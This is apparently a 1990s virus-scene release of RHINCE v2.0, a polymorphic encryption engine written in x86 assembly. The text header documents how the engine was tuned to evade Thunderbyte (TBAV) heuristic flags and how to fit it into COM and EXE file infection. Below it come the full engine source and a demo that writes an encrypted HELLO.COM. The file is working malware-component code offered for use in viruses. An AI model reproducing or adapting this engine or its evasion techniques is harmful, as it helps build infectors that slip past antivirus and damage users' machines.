; RHINCE 2.0, by Rhincewind [Vlad] ; ; This is the accompanying textfile for RHINCE v2.0, where RHINCE stands for ; "Rickety and Hardly Insidious yet New Chaos Engine". There's been quite ; a lot of feedback on the original release, both positive and negative. The ; negative reviews mainly dealt with the engine being so obscenely ; ineffective. To you I say, you missed the point: RHINCE was and is an ; experiment in writing small polymorphic engines using tables. ; ; I rewrote RHINCE because I came up with a method that I hoped would make ; it much, much shorter, say, under 300 bytes. Not so I'm afraid, the pure ; v1.0 rewrite amounted to 367 bytes. ; ; This version doesn't use encoding routines that use tables. No, it uses ; one encoding routine and a set of tables. In almost every engine, the ; routines all have a certain structure in common and yet they're never quite ; the same so optimisation by using subroutines is difficult. This is an ; easier approach: ; ; Encoding takes place byte for byte, and a tablestring is used to describe ; it's specifics. First byte in the string is the commandbyte: ; ; bit 4 quote next byte. ; bit 3 get random choice. next byte is the number of choices, ; followed by the choices themselves. ; bit 2 next byte is a mask indicating which bits to randomise. ; bit 1 next byte is a mask for ANDing, the byte thereafter ; is an illegal choice for the masked byte. ; bit 0 next byte is a byte displacement used to jump to. ; (for table optimisation) ; ; The commandbyte is followed by the arguments for the bit 4 command if it ; was set, then the arguments for bit 3 if it was set, et cetera. It's all ; in the code. ; ; So the original rewrite was finished but the engine's performance was still ; approximately zero. Tweaking done: ; ; ** DAA DAS AAA AAS opcodes removed. flagged by TBAV (@) ; ** $+2 flowcontrol removed. flagged by TBAV (G) ; JO/JNO branching flagged by TBAV (@) ; ** Forced first opcode to not be an flagged by TBAV (G) ; opcode needing previous register ; contents ; ** No longer builds decryptor inside flagged by TBAV (#) ; code, but rather on the heap. ; ; RHINCE v2.0 is almost TBAV heuristics proof. A negligible amount of ; samples still gets G flags on pointer references in the first 32 bytes. ; Then there is the occasional E, U, t or D flag probably caused ; by Thunderbyte interpreting the random byte and word values as code, ; i.e. signature scanning. ; ; Thunderbyte's heuristics are really interesting. The G flag for operations ; with uninitialised registers can only be triggered by the first 32 bytes ; of code (or so). The $+2 flowcontrol check is active throughout the ; program but the check for self-modifying code (which is how it detected ; v1.0) is only active in the first 512 bytes. ; ; Call Parameters: CX length of code to encrypt ; DS:DX pointer to code to encrypt ; BP offset code will be run at. ; Return Parameters: CX length of decryptor+encrypted code. ; DS:DX pointer to decryptor. ; ; Caution:Engine assumes CS=DS=ES. Also as said above, RHINCE v2.0 builds ; a decryptor on the heap. Please ensure that the heapspace is there! ; In COM infection mind the maximum filelength you can infect. In ; EXE infection you should check, and alter if necessary, the ; MINALLOC header field. If alteration of MINALLOC was necessary, ; see if MAXALLOC>MINALLOC. If not set MAXALLOC==MINALLOC. ; ; RHINCE v2.0: 377 bytes undiluted polymorphic generation code. ; - Rhince. .model tiny .code org 100h ;Below is a small demogenerator. Assemble & run this file as is to generate ;an encrypted HELLO.COM file, cut/paste the engine code otherwise. start: mov ah,3ch xor cx,cx mov dx, offset file int 21h push ax mov dx, offset prog mov cx, (endprog-prog) mov bp, 100h call mut_eng pop bx mov ah, 40h int 21h mov ah, 3eh int 21h mov ah,9 mov dx, offset msg int 21h int 20h file db 'hello.com',0 msg db 'Run HELLO.COM to decrypt and print a sacred VLAD scripture$' prog: mov ah,9 call $+3 delta: pop dx add dx, (str-delta) int 21h int 20h str db 'At the word of the dark judges, that word which ' db 'tortures the spirit,',0dh,0ah db 'Kantza-Merada, even the goddess, was turned to a ' db 'dead body,',0dh,0ah db 'Defiled, polluted, a corpse hangin'' from a stake.' db 0dh,0ah,0dh,0ah db 'Most strangely, Kantza-Merada, are the laws of the ' db 'dark world effected.',0dh,0ah db 'O Kantza-Merada, do not question the laws of the ' db 'nether world.',0dh,0ah,0dh,0ah db 'The goddess from the great above descended to the ' db 'great below.',0dh,0ah db 'To the nether world of darkness she descended.',0dh,0ah db 'The goddess abandoned heaven, abandoned earth,',0dh,0ah db 'Abandoned dominion, abandoned ladyship,',0dh,0ah db 'To the nether world of darkness she descended.$' endprog: ;------ Engine starts here. mut_eng: mov di, offset resulting_code inc cx shr cx,1 mov word ptr [di-(resulting_code-cntr)],cx call get_rand mov ah,al call get_rand mov word ptr [di-(resulting_code-seed)],ax push bp push dx call get_rand and ax, 1 call do_garbage_manual mov cx, 9 genloop: push cx call get_rand and ax,0fh inc ax xchg ax,cx gloop: push cx call do_garbage pop cx loop gloop mov ax, 0c72eh stosw mov al, 06 stosb pop cx mov bx,cx add bx,bx mov word ptr ds:[workspace-2+bx],di stosw stosw loop genloop pop si pop bp mov al, 0e9h stosb mov cx, word ptr cntr mov ax,cx add ax,cx stosw add ax, (endframe-framework) neg ax mov jmpback, ax lea bx, [di+bp+(-(offset resulting_code))] mov word ptr ptr, bx cryptloop: lodsw xor ax, word ptr seed stosw loop cryptloop mov dx,di push di mov si, offset framework mov bx, offset resulting_code push bx sub bp,bx mov cx,9 fill_loop: dec bx dec bx mov di, word ptr [bx] lea ax, [bp+si+(-(offset framework))] add ax,dx stosw movsw loop fill_loop pop dx pop cx sub cx,dx ret get_rand: in al,40h rol al,1 ;RNG v2.0 xor al, 0ffh org $-1 Randomize db ? mov randomize,al ret do_garbage: call get_rand and ax, 0fh do_garbage_manual: mov bx,ax mov bl, byte ptr [calltable+bx] xor bh,bh lea bp, [bx+poly] interpret_string: mov si,bp cwd lodsb mov dh,al test dh,16 jz dont_quote lodsb mov dl,al dont_quote: test dh,8 jz dont_select lodsb cbw xchg ax,cx call get_rand xor ah,ah div cl xchg al,ah cbw xchg ax,bx mov dl, byte ptr ds:[si+bx] add si,cx dont_select: test dh,4 jz no_random_masking call get_rand and al, byte ptr ds:[si] or dl,al inc si no_random_masking: test dh,2 jz no_illegal lodsb and al,dl inc si cmp al, byte ptr ds:[si-1] jz interpret_string no_illegal: mov bp,si mov al,dl stosb test dh,1 jz no_jmp lodsb cbw add bp,ax no_jmp: cmp byte ptr ds:[bp],0 jnz interpret_string ret calltable: db rnd_mov_8 - poly db rnd_mov_16 - poly db onebyte - poly db incs - poly db incs - poly db arithmetic_8 - poly db arithmetic_16 - poly db big_class_0_40 - poly db onebyte - poly db big_class_40_80 - poly db big_class_80_c0 - poly db big_class_c0_100 - poly db rnd_mov_8 - poly db rnd_mov_16 - poly db rnd_mov_8 - poly db rnd_mov_16 - poly endcalltable: poly: big_class_0_40: db 00010100b,00000010b,00111001b,00000110b,00011111b db 00000111b,6,00 big_class_40_80:db 00010100b,00100010b,00011001b,00010111b,01000000b db 00011111b,00000111b,6,rndbyte-$ big_class_80_c0:db 00010100b,00100010b,00011001b,00010111b,10000000b db 00011111b,00000111b,6,rndword-$ big_class_c0_100: db 00010100b,00100010b,00011001b,00010110b,11000000b db 00011111b,00000111b,6,00 flow_control: db 00010100b,72h,7,00010000b,0,0 arithmetic_8: db 00010101b,00000100b,00111000b,rndbyte-$ arithmetic_16: db 00010101b,00000101b,00111000b,rndword-$ rnd_mov_8: db 00010101b,0b0h,7,rndbyte-$ rnd_mov_16: db 00010110b,0b8h,07,07,04 rndword: db 00000100b,0ffh rndbyte: db 00000100b,0ffh,0 incs: db 00010110b,40h,0fh,7,4,0 onebyte: db 00001000b,(end_onebyters-onebyters) onebyters: db 0fdh,0fch,0fbh,0f9h,0f8h,0f5h,0d7h,9fh,9eh,99h,98h db 91h,92h,93h,95h,96h,97h end_onebyters: db 0 framework: cld mov si, 1234h ptr equ $-2 mov cx, 1234h cntr equ $-2 frameloop: xor word ptr cs:[si], 1234h seed equ $-2 lodsw loop frameloop db 0e9h jmpback dw ? endframe: workspace db endframe-framework dup (?) resulting_code: end start